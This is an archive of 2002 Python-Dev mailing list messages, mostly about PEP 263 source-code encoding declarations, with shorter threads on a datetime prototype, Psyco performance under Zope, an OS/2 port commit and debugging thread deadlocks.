Subject: [Python-Dev] proposal: add basic money type to the standard library
In-Reply-To: <06dd01c1bf02$9d5ca9a0$ced241d5@hagrid> from "Fredrik Lundh" at Feb 26, 2002 09:17:23 PM
Message-ID: <20020301172347.351FFE8D6@waltz.rahul.net>

Fredrik Lundh wrote:
> 
> I propose adding an "abstract" money base type to the standard
> library, to be subclassed by real money/decimal implementations.
> 
>     if isinstance(v, basemoney):
>         # yay! it's money
>         print float(money) # let's hope it's not too much

-1 on any proposal for a built-in money type that gets *anywhere* near
floats.
-- 
                      --- Aahz (@pobox.com)

Hugs and backrubs -- I break Rule 6       <*>       http://www.rahul.net/aahz/
Androgynous poly kinky vanilla queer het Pythonista

We must not let the evil of a few trample the freedoms of the many.


From guido@python.org  Fri Mar  1 17:59:05 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 01 Mar 2002 12:59:05 -0500
Subject: [Python-Dev] proposal: add basic time type to the standard library
In-Reply-To: Your message of "Thu, 28 Feb 2002 20:22:50 EST."
 <LNBBLJKPBEHFEDALKOLCIEGEOAAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCIEGEOAAA.tim.one@comcast.net>
Message-ID: <200203011759.g21Hx5i06358@pcp742651pcs.reston01.va.comcast.net>

Thanks for the encouragement, Tim!

I've added the initial design (such as it is) plus my answers to Tim's
questions to Fred's Wiki, here:

http://www.zope.org/Members/fdrake/DateTimeWiki/BasicDesign

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Fri Mar  1 18:22:18 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 01 Mar 2002 19:22:18 +0100
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
References: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de>
 <15487.31404.804533.264995@anthem.wooz.org>
 <2mpu2oe8zj.fsf@starship.python.net>
 <j4r8n4ctau.fsf@informatik.hu-berlin.de>
 <2mlmdc4de8.fsf@starship.python.net> <j4d6yocry3.fsf@informatik.hu-berlin.de>
Message-ID: <3C7FC6DA.2399343@lemburg.com>

Martin von Loewis wrote:
> 
> Michael Hudson <mwh@python.net> writes:
> 
> > It's about this hard, in fact:
> 
> Should you remove the old _failed file before renaming the
> newly-failed one?
> 
> > One little point (or I'd have checked it in already): should we make
> > efforts to not install the _failed.so turds?
> 
> People apparently want the file, so just install it.

Heck, no ! 

What's the point of installing the file under the
modified name ? Also, what's the use of renaming it ?

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From barry@zope.com  Fri Mar  1 19:02:29 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Fri, 1 Mar 2002 14:02:29 -0500
Subject: [Python-Dev] forwarded message from Stephen J. Turnbull
Message-ID: <15487.53317.247984.140496@anthem.wooz.org>

--AkxAgBCuFJ
Content-Type: text/plain; charset=us-ascii
Content-Description: message body text
Content-Transfer-Encoding: 7bit


With permission from Stephen Turnbull, XEmacs' lead maintainer, I am
forwarding this response of his to my questions about XEmacs support
for the coding cookie.  Stephen asked me to include this preamble:

    So send it but please tag the forward with the gloss that the main
    content is (1) XEmacs will support the coding cookie for editing
    purposes, but (2) cookies can not be relied on in practice---it
    should be treated as a halfway house[1] for people who don't
    presently have the resources to convert to Unicode.

    Footnotes: 
    [1]  In the addiction rehabilitation sense.

I'm hoping that Stephen will soon be able to join the python-dev
discussions more directly, and I'm cc'ing him on this message.  I
admit to wearing the typical American sunglasses on this issue, MM2.1
not withstanding.  I think Stephen's view point and experience with
this issue is worth bringing up here.

-Barry


--AkxAgBCuFJ
Content-Type: message/rfc822
Content-Description: forwarded message
Content-Transfer-Encoding: 7bit

MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Return-Path: <steve@tleepslib.sk.tsukuba.ac.jp>
Delivered-To: barry@mail.wooz.org
Received: from digicool.com (unknown [63.100.190.15])
	by mail.wooz.org (Postfix) with ESMTP id 4CDA8D3829
	for <barry@wooz.org>; Wed, 27 Feb 2002 01:01:53 -0500 (EST)
Received: from <steve@tleepslib.sk.tsukuba.ac.jp>
  by digicool.com (CommuniGate Pro RULES 3.4)
  with RULES id 3619655; Wed, 27 Feb 2002 01:01:59 -0500
Received: from smtp.zope.com ([63.100.190.95] verified)
  by digicool.com (CommuniGate Pro SMTP 3.4)
  with ESMTP id 3619654 for barry@mail.zope.com; Wed, 27 Feb 2002 01:01:58 -0500
Received: from tleepslib.sk.tsukuba.ac.jp (mail@tleepslib.sk.tsukuba.ac.jp [130.158.98.109])
	by smtp.zope.com (8.11.6/8.11.2) with ESMTP id g1R61eZ02484
	for <barry@zope.com>; Wed, 27 Feb 2002 01:01:41 -0500
Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.34 #1 (Debian))
	id 16fx92-0001gr-00; Wed, 27 Feb 2002 15:00:52 +0900
References: <15483.59915.551669.250815@anthem.wooz.org>
Organization: The XEmacs Project
In-Reply-To: <15483.59915.551669.250815@anthem.wooz.org>
Message-ID: <87lmdfmpkd.fsf@tleepslib.sk.tsukuba.ac.jp>
Lines: 109
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Common Lisp)
From: "Stephen J. Turnbull" <stephen@xemacs.org>
Sender: "Stephen J. Turnbull" <steve@tleepslib.sk.tsukuba.ac.jp>
To: barry@zope.com (Barry A. Warsaw)
Subject: Re: forwarded message from M.-A. Lemburg
Date: 27 Feb 2002 15:00:50 +0900
X-Autogenerated: Mirror
X-Mirrored-by: <steve@tleepslib.sk.tsukuba.ac.jp>
X-MailScanner: Found to be clean

>>>>> "BAW" == Barry A Warsaw <barry@zope.com> writes:

    BAW> The proposal

    In Python 2.1, Unicode literals can only be written using the
    Latin-1 based encoding "unicode-escape". This makes the
    programming environment rather unfriendly to Python users who live
    and work in non-Latin-1 locales such as many of the Asian 
    countries. Programmers can write their 8-bit strings using the
    favourite encoding, but are bound to the "unicode-escape" encoding
    for Unicode literals.

Hey, he's talking about me!  But I have no problems with this.

    BAW> adopts the Emacs convention of specifying the coding system
    BAW> via -*- lines.  Apparently this works on Emacs but not XEmacs;

<RANT TYPE="I suppose you couldn't have known" DEGREE="blind rage">

This is evil and should be opposed.  It is a pure crock pandering to
lazy people, guaranteed to make work and cause data loss (probably
almost all minor, but no guarantee of that) for those who follow.
There is a perfectly good 30-year-old standard, ISO 2022, for these
things---that has been nearly 100% ignored.  There's a perfectly good
20-year-old implementation, X Compound Text.  They not only work for
these limited purposes, but they're multilingual besides.  Why do it
badly again?

Look, it took 10 years to get Mule into GNU Emacs.  And you know
something?  For 10 years rms was right; it was when he changed his
mind and said, "ok, put it in without Unicode support" that he erred.
Many applications (Pine, Ghostscript, perl, sed, ad nauseum) have had
separately maintained Japanese versions for longer.  They never get
merged to mainline because they don't comply with standards, because
they don't have to.

Do you really want that for Python-based apps?

</RANT>

XML gets this right.  If you are going to have multilingual trees,
then they should be coded in Unicode.  Python surely will grok UTF-8
in .py files.  The examples in the tutorial seem to indicate it does.
If so, just tell them "UTF-8, because I said so."

We regularly get bug reports because Japanese programmers
automatically put an 'euc-jp coding cookie in every file.  No-mule
XEmacs bitches about the undefined symbol, people with Mule but
without Japanese fonts get a "can't instantiate font" warning.
American programmers will put an ISO 8859/1 cookie in a file, and some
European will add the Euro sign without fixing the cookie.  People
will cut and paste incompatible 8859 coding systems into a file, and
change the cookie to match the most recent one---making a hash of
everything else.  Not to mention that Microsoft applications regularly
lie about what they're writing (or maybe I'm giving them too much
credit, I've seen mail that starts with a MS-Unicode BOM that
continues with ASCII HTML markup).

See also latin-unity.info, URL below.

As for the boneheads[1] at GNU, there are lots of things in GNU Emacs
I18N that shouldn't be.  Mule, for example.  But rms gave in to his
XE-nis envy, is the only way I can interpret it.  It's bad design, bad
code, bad documentation, and bad law.  (This doesn't apply to XEmacs;
Mule was put into XEmacs at the behest of Sun specifically to support
Japanese.)

    BAW> I use a MULE-ified 21.4.6 (haven't built an Emacs in a long
    BAW> time), and I cannot get it work in XEmacs.

Nevertheless, it is supported in XEmacs, and is working in 21.4.6.
Except ... only in the first line.  Yep, there's explicit code to
restrict recognition to the first line.  No second or third line, no
trailing local variables section.  I don't have a problem with
extending to the first few lines, but the trailing local variables
section I oppose.

You guys absolutely definitely positively only ever need _first and
second line_ forever and ever promise cross your heart, right?

    BAW> Can you lend any insight on where XEmacs is headed with this?

    (1) latin-unity package

http://turnbull.sk.tsukuba.ac.jp/Tools/XEmacs/latin-unity-0.91-pkg.tar.gz

        Small and the docs are useful in this discussion, maybe.  It
        does not specifically address the coding cookie issue, but I
        could add support for coding cookies (I'd prefer to delete any
        I find ;-) but it would be an easy extension of the basic idea
        to update existing ones, even add them (but somebody will have
        to bribe me to get that in, what was that you were saying
        about $5000 checks that haven't quite cleared yet?).

    (2) Robust core Unicode support (being merged to the devel tree
        at this very moment according to CVS traffic)

    (3) Unicode internal coding, possibly an experimental option for
        the next major release. 


Footnotes: 
[1]  On this issue.

-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.

--AkxAgBCuFJ--


From mal@lemburg.com  Fri Mar  1 19:21:42 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 01 Mar 2002 20:21:42 +0100
Subject: [Python-Dev] PEP 1 update
References: <3C7B6322.440D21E7@lemburg.com>
 <20020228181706.D0335E8C7@waltz.rahul.net> <15486.52850.951733.332289@anthem.wooz.org>
Message-ID: <3C7FD4C6.3C05D864@lemburg.com>

"Barry A. Warsaw" wrote:
> 
> >>>>> "AM" == Aahz Maruch <aahz@rahul.net> writes:
> 
>     AM> After looking at several PEPs over the last couple of days, I
>     AM> suggest that PEP 1 be updated to require inclusion of the
>     AM> Last-Modified: field.
> 
> +1

FYI, pep2html.py now makes the date in the Last-Modified
header a link to the ViewCVS page on SF. It also auto-generates
the date from the mtime of the PEP file, if the header
is given, but doesn't have a value.

I'm sure, pep2html.py could provide more help like this
in other areas too... it's a great tool !

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From ppetru@ppetru.net  Fri Mar  1 20:42:00 2002
From: ppetru@ppetru.net (Petru Paler)
Date: 01 Mar 2002 22:42:00 +0200
Subject: [Python-Dev] Re: [Psyco-devel] Re: [Zope-Coders] Psyco release 0.4.0
In-Reply-To: <039101c1c142$090c06f0$02010a0a@suxlap>
References: <Pine.OSF.3.96.1020301171826.798567B-100000@aster1.ulb.ac.be>
 <039101c1c142$090c06f0$02010a0a@suxlap>
Message-ID: <1015015320.1994.1.camel@shiva>

On Fri, 2002-03-01 at 18:56, Andreas Jung wrote:
> Just run ab against a Zope 2.5.0 instance and tested
> the performance against a stupid PythonScript.
> 
> Results:
> 
> without psyco:   116 requests/second
> with    psyco:    33 requests/second
> 
> Jup, Zope is about 3.5 times slower *with* psyco.
> Any explanations for this worse behaviour ?

Just a wild, wild guess: this could be related to Psyco not doing the
regular interval polling, so PyThreadState_Swap() doesn't get called as
often as it should, ZServer piles up requests, the worker threads get
starved, and so on.

-- 
Petru Paler, http://www.ppetru.net





From guido@python.org  Fri Mar  1 21:19:37 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 01 Mar 2002 16:19:37 -0500
Subject: [Python-Dev] proposal: add basic time type to the standard library
In-Reply-To: Your message of "Fri, 01 Mar 2002 12:59:05 EST."
 <200203011759.g21Hx5i06358@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCIEGEOAAA.tim.one@comcast.net>
 <200203011759.g21Hx5i06358@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <200203012119.g21LJbK08000@pcp742651pcs.reston01.va.comcast.net>

I've now added a prototype implementation in Python of a datetime type
to CVS: nondist/sandbox/datetime/datetime.py; see also

http://www.zope.org/Members/fdrake/DateTimeWiki/FrontPage

for a link directly to ViewCVS.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From martin@v.loewis.de  Fri Mar  1 21:14:51 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 01 Mar 2002 22:14:51 +0100
Subject: [Python-Dev] forwarded message from Stephen J. Turnbull
In-Reply-To: <15487.53317.247984.140496@anthem.wooz.org>
References: <15487.53317.247984.140496@anthem.wooz.org>
Message-ID: <m3bse8q9bo.fsf@mira.informatik.hu-berlin.de>

barry@zope.com (Barry A. Warsaw) writes:

> I'm hoping that Stephen will soon be able to join the python-dev
> discussions more directly, and I'm cc'ing him on this message.  I
> admit to wearing the typical American sunglasses on this issue, MM2.1
> not withstanding.  I think Stephen's view point and experience with
> this issue is worth bringing up here.

We have sorted out some of this on python-list already. Stephen
mistook the proposal as talking about the encoding which is used in
the Python source code. With the occasional exception of a Latin-1 "=F6"
in a comment line, I think the Python source is currently pure ASCII -
I would have no problems with changing these few occurrences to UTF-8,
as Stephen suggests.

I'm not sure whether he still has his original position "do not allow
multiple source encodings to enter the language", which, to me,
translates into "source encodings are always UTF-8". If that is the
route to take, PEP 263 should be REJECTED, in favour of only
tightening the Python language definition to only allow UTF-8 source
code.=20

This, of course, will find disapproval from people who currently use
different source encodings. "Not everybody has a UTF-8 editor" is a
frequent complaint from that camp, and I think it is a valid one
(although I personally do have a UTF-8-capable editor, and although
IDLE could be taught into doing UTF-8 only easily). To allow notepad
support, we'd still need to accept the UTF-8 signature at the
beginning of a file.

> Nevertheless, it is supported in XEmacs, and is working in 21.4.6.
> Except ... only in the first line.  Yep, there's explicit code to
> restrict recognition to the first line.  No second or third line, no
> trailing local variables section.  I don't have a problem with
> extending to the first few lines, but the trailing local variables
> section I oppose.

For Python, it probably would have to go to the second line, with the
rationale given in the Emacs manual: the first line is often used for
#!.

> You guys absolutely definitely positively only ever need _first and
> second line_ forever and ever promise cross your heart, right?

Yes. The current proposal does not spell this out, but I think this
restriction is reasonable.

Regards,
Martin


From paul@zope.com  Fri Mar  1 21:26:56 2002
From: paul@zope.com (Paul Everitt)
Date: Fri, 01 Mar 2002 16:26:56 -0500
Subject: [Python-Dev] Re: [Psyco-devel] Re: [Zope-Coders] Psyco release 0.4.0
References: <Pine.OSF.3.96.1020301171826.798567B-100000@aster1.ulb.ac.be> 	<039101c1c142$090c06f0$02010a0a@suxlap> <1015015320.1994.1.camel@shiva>
Message-ID: <3C7FF220.5020405@zope.com>

If that's true, then the command-line speed test should show a speedup 
(rather than running ab against the server).  Another useful test: the 
zodb load test.

--Paul

Petru Paler wrote:
> On Fri, 2002-03-01 at 18:56, Andreas Jung wrote:
> 
>>Just run ab against a Zope 2.5.0 instance and tested
>>the performance against a stupid PythonScript.
>>
>>Results:
>>
>>without psyco:   116 requests/second
>>with    psyco:    33 requests/second
>>
>>Jup, Zope is about 3.5 times slower *with* psyco.
>>Any explanations for this worse behaviour ?
>>
> 
> Just a wild, wild guess: this could be related to Psyco not doing the
> regular interval polling, so PyThreadState_Swap() doesn't get called as
> often as it should, ZServer piles up requests, the worker threads get
> starved, and so on.
> 
> 





From mal@lemburg.com  Fri Mar  1 22:28:10 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 01 Mar 2002 23:28:10 +0100
Subject: [Python-Dev] forwarded message from Stephen J. Turnbull
References: <15487.53317.247984.140496@anthem.wooz.org> <m3bse8q9bo.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3C80007A.B0916B91@lemburg.com>

"Martin v. Loewis" wrote:
>=20
> barry@zope.com (Barry A. Warsaw) writes:
>=20
> > I'm hoping that Stephen will soon be able to join the python-dev
> > discussions more directly, and I'm cc'ing him on this message.  I
> > admit to wearing the typical American sunglasses on this issue, MM2.1
> > not withstanding.  I think Stephen's view point and experience with
> > this issue is worth bringing up here.
>=20
> We have sorted out some of this on python-list already. Stephen
> mistook the proposal as talking about the encoding which is used in
> the Python source code. With the occasional exception of a Latin-1 "=F6=
"
> in a comment line, I think the Python source is currently pure ASCII -
> I would have no problems with changing these few occurrences to UTF-8,
> as Stephen suggests.
>=20
> I'm not sure whether he still has his original position "do not allow
> multiple source encodings to enter the language", which, to me,
> translates into "source encodings are always UTF-8". If that is the
> route to take, PEP 263 should be REJECTED, in favour of only
> tightening the Python language definition to only allow UTF-8 source
> code.

-1

We had the UTF-8 discussion back when we started discussing
the Unicode intergration. Let's not start it again.

Note that PEP only *allows* using various locale dependent=20
encodings for Python source. Don't take this as: hey, everybody=20
will start using their own home-grown ROT-13 variant now and=20
start having code obfuscation fests :-)

Reasonable programmer will stay reasonable programmers even
if you give them a nice tool like Emacs which allows them
to do just about anything you could possibly imagine to=20
source code. Adding the option of having different source
code encodings won't change that. I don't think there's much
to worry about and that most of this is just FUD.

> This, of course, will find disapproval from people who currently use
> different source encodings. "Not everybody has a UTF-8 editor" is a
> frequent complaint from that camp, and I think it is a valid one
> (although I personally do have a UTF-8-capable editor, and although
> IDLE could be taught into doing UTF-8 only easily). To allow notepad
> support, we'd still need to accept the UTF-8 signature at the
> beginning of a file.

Which the PEP allows.
=20
> > Nevertheless, it is supported in XEmacs, and is working in 21.4.6.
> > Except ... only in the first line.  Yep, there's explicit code to
> > restrict recognition to the first line.  No second or third line, no
> > trailing local variables section.  I don't have a problem with
> > extending to the first few lines, but the trailing local variables
> > section I oppose.
>=20
> For Python, it probably would have to go to the second line, with the
> rationale given in the Emacs manual: the first line is often used for
> #!.

Right.
=20
> > You guys absolutely definitely positively only ever need _first and
> > second line_ forever and ever promise cross your heart, right?
>=20
> Yes. The current proposal does not spell this out, but I think this
> restriction is reasonable.

I think the comment about the RE and where it is applied is very
clear on this.

--=20
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From guido@python.org  Fri Mar  1 22:31:02 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 01 Mar 2002 17:31:02 -0500
Subject: [Python-Dev] forwarded message from Stephen J. Turnbull
In-Reply-To: Your message of "Fri, 01 Mar 2002 23:28:10 +0100."
 <3C80007A.B0916B91@lemburg.com>
References: <15487.53317.247984.140496@anthem.wooz.org> <m3bse8q9bo.fsf@mira.informatik.hu-berlin.de>
 <3C80007A.B0916B91@lemburg.com>
Message-ID: <200203012231.g21MV2r09304@pcp742651pcs.reston01.va.comcast.net>

> We had the UTF-8 discussion back when we started discussing
> the Unicode intergration. Let's not start it again.

Agreed.

I find the PEP as it stands quite reasonable.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From andymac@bullseye.apana.org.au  Fri Mar  1 23:58:59 2002
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Sat, 2 Mar 2002 10:58:59 +1100 (EDT)
Subject: [Python-Dev] Advance notice of extensive commit
Message-ID: <Pine.OS2.4.32.0203021042140.103-100000@tenring.andymac.org>

As the final phase of committing the OS/2 EMX port, I plan to commit
changes to the following files in Modules/
  _hotshot.c
  dbmmodule.c
  fcntlmodule.c
  main.c
  posixmodule.c  (extensive changes)
  pwdmodule.c
  readline.c
  selectmodule.c
  signalmodule.c
  socketmodule.c  (extensive changes)
  termios.c
  timemodule.c
  unicodedata.c

All these changes are #ifdef'ed and a patched tree builds and passes
regression tests on FreeBSD 4.4, so I don't envision any problems.  This
is the Modules part of SF patch #450267.

I expect to commit these changes between 1000 and 1400 AEST (UTC+1100)
tomorrow, Sunday 3 March.

If anyone else is planning to commit to these files in this timeframe,
or there is some reason not to proceed, please e-mail me before 0500 AEST
tomorrow (my offline e-mail collection/CVS update time, though I do a
CVS update immediately before contemplating a commit).

Cheers.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From jason@jorendorff.com  Sat Mar  2 03:19:27 2002
From: jason@jorendorff.com (Jason Orendorff)
Date: Fri, 1 Mar 2002 21:19:27 -0600
Subject: [Python-Dev] PEP 263 -- Python Source Code Encoding
In-Reply-To: <200202271257.g1RCvB525447@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <HFEKILOLEFEFMKAECNDLAEHGDGAA.jason@jorendorff.com>

The problem I have with PEP 263 right now is that the
"-*- coding: -*-" magic is really sort of being abused.

I gather that "coding:" is supposed to specify the
encoding (what MIME calls "charset") of the file.
But under PEP 263, it only refers to the Unicode string
literals within the program.  Everything else must still
be treated as 8-bit text.

For example, I'm not sure what effect "coding: utf-16"
would have.  (?)

For another example, if you have UTF-8 Unicode string
literals in your program but you also have 8-bit
Latin-1 plain str string literals in the same program,
how should you mark it?  How will Emacs then treat it?

Is a Python program an 8-bit string or a Unicode string?
Right now, although perhaps someone who knows more about
the parser than I can expand on this, it seems that
Python programs are 8-bit strings.  Therefore I argue
that it makes no sense to use "coding:" to label a
Python file, because the file doesn't consist of
Unicode text.

## Jason Orendorff    http://www.jorendorff.com/


From rsc@plan9.bell-labs.com  Sat Mar  2 03:52:42 2002
From: rsc@plan9.bell-labs.com (Russ Cox)
Date: Fri, 1 Mar 2002 22:52:42 -0500
Subject: [Python-Dev] help debugging thread deadlocks
Message-ID: <81ec895c6f59b62832e88c5ea60c225b@plan9.bell-labs.com>

If this should be in python-list, say so and I'll move,
but python-dev seemed a better match.

I've got a python program that's hanging in
PyThread_acquire_lock called from fast_cfunction,
which I assume means the python program itself is
calling the acquire method on a python-allocated
(as opposed to C-allocated) lock.  There are two
threads and both are hung trying to acquire different locks.
Unfortunately that's all I can tell from the
stack trace.  My python program allocates three
locks using threading.RLock, and I can't find any
other python code (in the standard modules), but
the locks that are hanging are not those three locks.
I looked in the standard module library code and can't
find any that allocate locks.  There are some locks
allocated in the C interpreter, of course, but I don't
see how those would be acquirable from python code.

Is there some function I can call from within 
acquire_lock or allocate_lock (from C) to dump
a python stack trace to stdout or stderr?

Thanks.
Russ


From tim.one@comcast.net  Sat Mar  2 07:31:18 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 02 Mar 2002 02:31:18 -0500
Subject: [Python-Dev] help debugging thread deadlocks
In-Reply-To: <81ec895c6f59b62832e88c5ea60c225b@plan9.bell-labs.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEMAOAAA.tim.one@comcast.net>

[Russ Cox]
> If this should be in python-list, say so and I'll move,

Yes, it should -- it's not about developing Python.

> but python-dev seemed a better match.

To what <wink>?

> I've got a python program that's hanging in
> PyThread_acquire_lock called from fast_cfunction,

Which version of Python, release or debug build, which OS, which C compiler
and libc (or moral equivalent), which of the many versions of Python threads
(pthreads, Windows threads, etc)?  Any extension modules loaded?

> which I assume means the python program itself is
> calling the acquire method on a python-allocated
> (as opposed to C-allocated) lock.

Hard to say but a reasonable guess.

> There are two threads and both are hung trying to acquire
> different locks.

Well, there's your problem <heh>.

> Unfortunately that's all I can tell from the
> stack trace.

I'm not sure how anyone could tell more.  There are some locks and you're
staring at a deadlock.  This isn't rare in threaded programs, alas.  Are you
by any chance spawning and executing a thread as a side-effect of doing an
import, where the spawned thread itself does an import and the spawning code
waits for the spawned thread to finish?  If so, the spawning thread would
wait forever on whatever gimmick it's using to wait for the spawned thread
to finish, and the spawned thread would wait forever for the global import
lock to get released (which can't happen, because the global import lock is
waiting for the spawning thread to release it, but the spawning thread is
waiting for the spawned thread to finish).  Or, more simply, never spawn a
thread as a side-effect of importing.

> My python program allocates three locks using threading.RLock, and
> I can't find any other python code (in the standard modules),

Most library modules use the older thread module, so you'll find more by
searching for allocate_lock.  The most commonly hit locks of this kind are
in tempfile.py and Queue.py.

> but the locks that are hanging are not those three locks.

If everything's hung, how do you know this?

> I looked in the standard module library code and can't
> find any that allocate locks.  There are some locks
> allocated in the C interpreter, of course, but I don't
> see how those would be acquirable from python code.
>
> Is there some function I can call from within
> acquire_lock or allocate_lock (from C) to dump
> a python stack trace to stdout or stderr?

I'm not clear on what you're asking here.  See the traceback module for
convenient ways to dump the Python stack.  Also, if the particular Python
thread implementation you use supports it, in a debug build you can set the
envar THREADDEBUG to 15 to get a trace of calls made to the lowest-level
thread routines.  For example, on Windows

C:\Code\python\PCbuild>set THREADDEBUG=15

C:\Code\python\PCbuild>python_d
PyThread_init_thread called
-1471359: PyThread_allocate_lock() -> 00960830
-1471359: PyThread_acquire_lock(00960830, 1) called
-1471359: PyThread_acquire_lock(00960830, 1) -> 1
-1471359: PyThread_release_lock(00960830) called
-1471359: PyThread_acquire_lock(00960830, 1) called
-1471359: PyThread_acquire_lock(00960830, 1) -> 1
-1471359: PyThread_release_lock(00960830) called
PyThread_allocate_lock called
-1471359: PyThread_allocate_lock() -> 0096B030
-1471359: PyThread_acquire_lock(0096B030, 0) called
-1471359: PyThread_acquire_lock(0096B030, 0) -> 1
-1471359: PyThread_release_lock(0096B030) called
-1471359: PyThread_acquire_lock(0096B030, 0) called
-1471359: PyThread_acquire_lock(0096B030, 0) -> 1
-1471359: PyThread_release_lock(0096B030) called
-1471359: PyThread_acquire_lock(0096B030, 0) called
-1471359: PyThread_acquire_lock(0096B030, 0) -> 1
-1471359: PyThread_release_lock(0096B030) called
-1471359: PyThread_acquire_lock(0096B030, 0) called
-1471359: PyThread_acquire_lock(0096B030, 0) -> 1
-1471359: PyThread_release_lock(0096B030) called
-1471359: PyThread_acquire_lock(0096B030, 0) called
-1471359: PyThread_acquire_lock(0096B030, 0) -> 1
-1471359: PyThread_release_lock(0096B030) called
-1471359: PyThread_acquire_lock(0096B030, 0) called
-1471359: PyThread_acquire_lock(0096B030, 0) -> 1
Adding parser accelerators ...
Done.
-1471359: PyThread_release_lock(0096B030) called
Python 2.3a0 (#29, Mar  1 2002, 16:33:03) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
-1471359: PyThread_acquire_lock(0096B030, 0) called
-1471359: PyThread_acquire_lock(0096B030, 0) -> 1
-1471359: PyThread_release_lock(0096B030) called
-1471359: PyThread_acquire_lock(0096B030, 0) called
-1471359: PyThread_acquire_lock(0096B030, 0) -> 1
-1471359: PyThread_release_lock(0096B030) called
>>>

Also run a debug build with the -v switch to get a trace of imports.
Stubbing your toe on the import lock is the only way I know of for a vanilla
(no C extension modules) Python program to get in trouble with a deadlock
involving an internal Python lock.



From fredrik@pythonware.com  Sat Mar  2 08:40:43 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Sat, 2 Mar 2002 09:40:43 +0100
Subject: [Python-Dev] PEP 263 -- Python Source Code Encoding
References: <HFEKILOLEFEFMKAECNDLAEHGDGAA.jason@jorendorff.com>
Message-ID: <008301c1c1c5$f3fe4550$ced241d5@hagrid>

Jason wrote:
> The problem I have with PEP 263 right now is that the
> "-*- coding: -*-" magic is really sort of being abused.

really?

> I gather that "coding:" is supposed to specify the
> encoding (what MIME calls "charset") of the file.
> But under PEP 263, it only refers to the Unicode string
> literals within the program.  Everything else must still
> be treated as 8-bit text.

from the current version (revision 1.9) of the PEP:

    "The complete Python source file should use a single
    encoding."

> For example, I'm not sure what effect "coding: utf-16"
> would have.  (?)

    "Only ASCII compatible encodings are allowed."

> For another example, if you have UTF-8 Unicode string
> literals in your program but you also have 8-bit
> Latin-1 plain str string literals in the same program,
> how should you mark it?

    "Embedding of differently encoded data is not
    allowed"

> Therefore I argue that it makes no sense to use "coding:" to
> label a Python file, because the file doesn't consist of Unicode
> text.

    "the proposed solution should be implemented in two phases:

    1. Implement the magic comment detection and default encoding
       handling, but only apply the detected encoding to Unicode
       literals in the source file.

    2. Change the tokenizer/compiler base string type from char* to
       Py_UNICODE* and apply the encoding to the complete file."

</F>



From martin@v.loewis.de  Sat Mar  2 09:05:28 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 02 Mar 2002 10:05:28 +0100
Subject: [Python-Dev] PEP 263 -- Python Source Code Encoding
In-Reply-To: <HFEKILOLEFEFMKAECNDLAEHGDGAA.jason@jorendorff.com>
References: <HFEKILOLEFEFMKAECNDLAEHGDGAA.jason@jorendorff.com>
Message-ID: <m3g03jbaqv.fsf@mira.informatik.hu-berlin.de>

"Jason Orendorff" <jason@jorendorff.com> writes:

> I gather that "coding:" is supposed to specify the
> encoding (what MIME calls "charset") of the file.
> But under PEP 263, it only refers to the Unicode string
> literals within the program.  Everything else must still
> be treated as 8-bit text.

Not really. If you are willing to separate the language and its
implementation, then I'd phrase the intent that way:
- if an encoding is declared, all of the file must follow that
  encoding (all of them, always (*))
- in phase 1, the implementation will not verify that property, 
  except for Unicode literals
- in phase 2, Python will implement Python completely in this
  respect.

> For example, I'm not sure what effect "coding: utf-16"
> would have.  (?)

Invalid; source encodings must be an ASCII superset (not sure how the
implementation will react to that; if the file really is UTF-16,
you'll get a syntax error, if you say it is UTF-16 but it isn't,
Python will reject it in phase 2).

> For another example, if you have UTF-8 Unicode string
> literals in your program but you also have 8-bit
> Latin-1 plain str string literals in the same program,
> how should you mark it?  

You should mark the file as UTF-8. In phase 2, Python will reject it.
At that point, you should convert your latin-1 string literal into
hex escapes - it is binary data then, not Latin-1.

> How will Emacs then treat it?

Don't know - just try. You cannot create such a file with Emacs.

> Is a Python program an 8-bit string or a Unicode string?

>From the viewpoint of the language definition, it is a character
string. Quoting the C++ standard "how source files are mapped to the
source character set is implementation-defined".

Python (the language definition) actually does define it, by means of
PEP 263 (**). The source character set is Unicode, which does not
necessarily mean implementations have to represent source as Unicode
strings internally - they could also use the on-disk representation,
as long as the implementation behaves "as-if" it did perform the
mapping to Unicode.

> Right now, although perhaps someone who knows more about
